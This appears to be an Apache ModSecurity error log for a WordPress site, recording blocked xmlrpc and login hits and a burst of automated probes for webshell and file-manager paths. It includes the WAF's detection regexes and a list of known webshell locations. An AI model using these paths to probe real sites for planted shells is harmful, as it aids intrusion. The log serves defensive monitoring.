[Sun May 24 13:22:33.168358 2026] [:error] [pid 23497:tid 23516] [client 27.34.68.80:8082] [client 27.34.68.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.34.68.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahKLGSPlV47QcYwd2v-L6AAAAVA"]
[Sun May 24 13:22:44.931841 2026] [:error] [pid 23497:tid 23502] [client 27.34.68.80:54919] [client 27.34.68.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.34.68.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahKLJCPlV47QcYwd2v-L9wAAAUI"]
[Sun May 24 13:22:55.283492 2026] [:error] [pid 49775:tid 49784] [client 27.34.68.80:4862] [client 27.34.68.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.34.68.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahKLL4vZb8G6T8WpI1hhLwAAAAc"]
[Sun May 24 13:23:05.563802 2026] [:error] [pid 49689:tid 49721] [client 27.34.68.80:26761] [client 27.34.68.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.34.68.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahKLOQaxiY3NxLUD97VLfAAAAIM"]
[Sun May 24 13:23:16.013083 2026] [:error] [pid 23497:tid 23524] [client 27.34.68.80:43103] [client 27.34.68.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.34.68.80, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ahKLRCPlV47QcYwd2v-MLgAAAVg"]
[Sun May 24 13:56:35.831998 2026] [:error] [pid 49775:tid 49796] [client 89.46.107.110:33250] [client 89.46.107.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.46.107.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahKTE4vZb8G6T8WpI1hrQgAAABM"]
[Sun May 24 13:56:37.590310 2026] [:error] [pid 49775:tid 49790] [client 89.46.107.110:33250] [client 89.46.107.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.46.107.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ahKTFYvZb8G6T8WpI1hrRAAAAA0"], referer: https://gigfragments.org/wp-login.php
[Sun May 24 15:08:49.053635 2026] [:error] [pid 23497:tid 23511] [client 43.153.102.138:35638] [client 43.153.102.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahKkASPlV47QcYwd2v-7xgAAAUs"]
[Sun May 24 16:16:52.477096 2026] [:error] [pid 23497:tid 23504] [client 43.159.152.4:42828] [client 43.159.152.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ahKz9CPlV47QcYwd2v_QFwAAAUQ"]
[Sun May 24 18:37:27.907731 2026] [:error] [pid 2639:tid 2646] [client 203.25.124.52:40453] [client 203.25.124.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ahLU50zQncQTd0Z0Oe9ujAAAAQU"]
[Sun May 24 18:37:28.334493 2026] [:error] [pid 4777:tid 4794] [client 203.25.124.51:48057] [client 203.25.124.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "ahLU6PtPctoQOm4w5pN34gAAAcw"]
[Sun May 24 18:37:35.431861 2026] [:error] [pid 2639:tid 2648] [client 212.32.76.14:34725] [client 212.32.76.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "ahLU70zQncQTd0Z0Oe9ukwAAAQc"]
[Sun May 24 18:37:36.424598 2026] [:error] [pid 4777:tid 4788] [client 203.25.124.47:43795] [client 203.25.124.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wpx/"] [unique_id "ahLU8PtPctoQOm4w5pN36gAAAcY"]
[Sun May 24 18:37:37.430101 2026] [:error] [pid 49744:tid 49767] [client 212.32.76.8:37329] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/Nxploited/Nx.php"] [unique_id "ahLU8TsE5kPdFpUbbHHRFAAAANU"]
[Sun May 24 18:37:38.428766 2026] [:error] [pid 49744:tid 49760] [client 203.25.124.48:38987] [client 203.25.124.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "ahLU8jsE5kPdFpUbbHHRFgAAAM4"]
[Sun May 24 18:37:39.640082 2026] [:error] [pid 49688:tid 49696] [client 212.32.76.2:42267] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "ahLU82YoQ9V6a_4pBsiwTgAAAEU"]
[Sun May 24 18:37:41.531514 2026] [:error] [pid 4777:tid 4802] [client 203.25.124.39:24329] [client 203.25.124.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "ahLU9ftPctoQOm4w5pN37gAAAdQ"]
[Sun May 24 18:37:42.930723 2026] [:error] [pid 2639:tid 2645] [client 203.25.124.48:28153] [client 203.25.124.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "ahLU9kzQncQTd0Z0Oe9unwAAAQQ"]
[Sun May 24 18:37:43.433699 2026] [:error] [pid 49744:tid 49759] [client 212.32.76.6:61943] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/3PJcpMFsD8B.php"] [unique_id "ahLU9zsE5kPdFpUbbHHRHgAAAM0"]
[Sun May 24 18:37:49.126710 2026] [:error] [pid 49744:tid 49765] [client 203.25.124.212:57679] [client 203.25.124.212] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/users.php"] [unique_id "ahLU_TsE5kPdFpUbbHHRJwAAANM"]
[Sun May 24 18:37:50.122137 2026] [:error] [pid 4777:tid 4789] [client 203.25.124.65:64103] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "ahLU_vtPctoQOm4w5pN38wAAAcc"]
[Sun May 24 18:37:51.338216 2026] [:error] [pid 49689:tid 49720] [client 203.25.124.51:21851] [client 203.25.124.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/speculative8.php"] [unique_id "ahLU_waxiY3NxLUD97V2ZQAAAII"]
[Sun May 24 18:37:52.526198 2026] [:error] [pid 49688:tid 49705] [client 203.25.124.65:59175] [client 203.25.124.65] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "ahLVAGYoQ9V6a_4pBsiwYgAAAE4"]
[Sun May 24 18:37:53.526975 2026] [:error] [pid 49688:tid 49692] [client 203.25.124.31:27849] [client 203.25.124.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403.php"] [unique_id "ahLVAWYoQ9V6a_4pBsiwZgAAAEE"]
[Sun May 24 18:37:54.734517 2026] [:error] [pid 4777:tid 4804] [client 212.32.76.6:26133] [client 212.32.76.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "ahLVAvtPctoQOm4w5pN3-wAAAdY"]
[Sun May 24 18:38:00.623700 2026] [:error] [pid 49688:tid 49708] [client 203.25.124.57:23989] [client 203.25.124.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "ahLVCGYoQ9V6a_4pBsiwbgAAAFE"]
[Sun May 24 18:38:01.033829 2026] [:error] [pid 23497:tid 23521] [client 203.25.124.64:32155] [client 203.25.124.64] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "ahLVCSPlV47QcYwd2v_5YAAAAVU"]
[Sun May 24 18:38:01.931052 2026] [:error] [pid 2639:tid 2650] [client 212.32.76.11:43453] [client 212.32.76.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/"] [unique_id "ahLVCUzQncQTd0Z0Oe9uqgAAAQk"]
[Sun May 24 18:38:03.327602 2026] [:error] [pid 2639:tid 2651] [client 212.32.76.5:24933] [client 212.32.76.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hello-plus/classes/ehp-sarang.php"] [unique_id "ahLVC0zQncQTd0Z0Oe9uqwAAAQo"]
[Sun May 24 18:38:09.528799 2026] [:error] [pid 23497:tid 23519] [client 212.32.76.2:33803] [client 212.32.76.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "ahLVESPlV47QcYwd2v_5bgAAAVM"]
[Sun May 24 18:38:10.632939 2026] [:error] [pid 4777:tid 4799] [client 203.25.124.51:27421] [client 203.25.124.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/sitebar.php"] [unique_id "ahLVEvtPctoQOm4w5pN4BQAAAdE"]
[Sun May 24 18:38:12.149021 2026] [:error] [pid 2639:tid 2664] [client 203.25.124.37:35293] [client 203.25.124.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/updates.php"] [unique_id "ahLVFEzQncQTd0Z0Oe9usgAAARc"]
[Sun May 24 18:38:13.728144 2026] [:error] [pid 49775:tid 49785] [client 203.25.124.213:38251] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/"] [unique_id "ahLVFYvZb8G6T8WpI1icBQAAAAg"]
[Sun May 24 18:38:14.832648 2026] [:error] [pid 2639:tid 2663] [client 203.25.124.54:31095] [client 203.25.124.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "ahLVFkzQncQTd0Z0Oe9utAAAARY"]
[Sun May 24 18:38:16.128929 2026] [:error] [pid 23497:tid 23503] [client 203.25.124.36:36529] [client 203.25.124.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/admin.php"] [unique_id "ahLVGCPlV47QcYwd2v_5cAAAAUM"]
[Sun May 24 18:38:17.336395 2026] [:error] [pid 23497:tid 23505] [client 203.25.124.74:42657] [client 203.25.124.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "ahLVGSPlV47QcYwd2v_5dAAAAUU"]
[Sun May 24 18:38:18.425322 2026] [:error] [pid 23497:tid 23518] [client 203.25.124.211:49195] [client 203.25.124.211] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/plugins/"] [unique_id "ahLVGiPlV47QcYwd2v_5dwAAAVI"]
[Sun May 24 18:38:20.033179 2026] [:error] [pid 23497:tid 23509] [client 212.32.76.8:32995] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "ahLVHCPlV47QcYwd2v_5eQAAAUk"]
[Sun May 24 18:38:21.731320 2026] [:error] [pid 49689:tid 49740] [client 203.25.124.69:31029] [client 203.25.124.69] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-config-sample.php"] [unique_id "ahLVHQaxiY3NxLUD97V2bgAAAJY"]
[Sun May 24 18:38:23.027706 2026] [:error] [pid 49775:tid 49801] [client 203.25.124.58:37761] [client 203.25.124.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "ahLVH4vZb8G6T8WpI1icFQAAABg"]
[Sun May 24 18:38:24.425406 2026] [:error] [pid 4777:tid 4782] [client 203.25.124.49:51173] [client 203.25.124.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/"] [unique_id "ahLVIPtPctoQOm4w5pN4BwAAAcA"]
[Sun May 24 18:38:26.325871 2026] [:error] [pid 23497:tid 23517] [client 212.32.76.8:48961] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyone/content-index.php"] [unique_id "ahLVIiPlV47QcYwd2v_5ewAAAVE"]
[Sun May 24 18:38:27.941080 2026] [:error] [pid 49688:tid 49700] [client 203.25.124.32:65423] [client 203.25.124.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ssss/src.php"] [unique_id "ahLVI2YoQ9V6a_4pBsiwdQAAAEk"]
[Sun May 24 18:38:34.435136 2026] [:error] [pid 41708:tid 41710] [client 203.25.124.32:58349] [client 203.25.124.32] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "ahLVKv4tQzoTxpuHBF7MDAAAAYA"]
[Sun May 24 18:38:39.226133 2026] [:error] [pid 4777:tid 4783] [client 203.25.124.37:55401] [client 203.25.124.37] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/"] [unique_id "ahLVL_tPctoQOm4w5pN4FAAAAcE"]
[Sun May 24 18:38:40.740727 2026] [:error] [pid 4777:tid 4805] [client 203.25.124.35:27775] [client 203.25.124.35] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/images/"] [unique_id "ahLVMPtPctoQOm4w5pN4FgAAAdc"]
[Sun May 24 18:38:42.123256 2026] [:error] [pid 41708:tid 41727] [client 212.32.76.7:49877] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wordpress/wp-admin/maint/"] [unique_id "ahLVMv4tQzoTxpuHBF7MEQAAAZE"]
[Sun May 24 18:38:43.531827 2026] [:error] [pid 4777:tid 4794] [client 203.25.124.213:48377] [client 203.25.124.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/files/"] [unique_id "ahLVM_tPctoQOm4w5pN4GwAAAcw"]
[Sun May 24 18:38:49.833914 2026] [:error] [pid 41708:tid 41720] [client 203.25.124.58:33597] [client 203.25.124.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/404.php"] [unique_id "ahLVOf4tQzoTxpuHBF7MHQAAAYo"]
[Sun May 24 18:38:51.431611 2026] [:error] [pid 4777:tid 4784] [client 212.32.76.5:31125] [client 212.32.76.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "ahLVO_tPctoQOm4w5pN4HgAAAcI"]
[Sun May 24 18:38:54.232131 2026] [:error] [pid 23497:tid 23513] [client 203.25.124.47:59653] [client 203.25.124.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin/"] [unique_id "ahLVPiPlV47QcYwd2v_5lAAAAU0"]
[Sun May 24 18:38:56.125950 2026] [:error] [pid 23497:tid 23508] [client 203.25.124.33:42905] [client 203.25.124.33] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "ahLVQCPlV47QcYwd2v_5lwAAAUg"]
[Sun May 24 18:38:57.433570 2026] [:error] [pid 4777:tid 4785] [client 212.32.76.7:47799] [client 212.32.76.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "ahLVQftPctoQOm4w5pN4KgAAAcM"]
[Sun May 24 18:39:01.235388 2026] [:error] [pid 49744:tid 49769] [client 212.32.76.8:50987] [client 212.32.76.8] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "ahLVRTsE5kPdFpUbbHHRUgAAANc"]
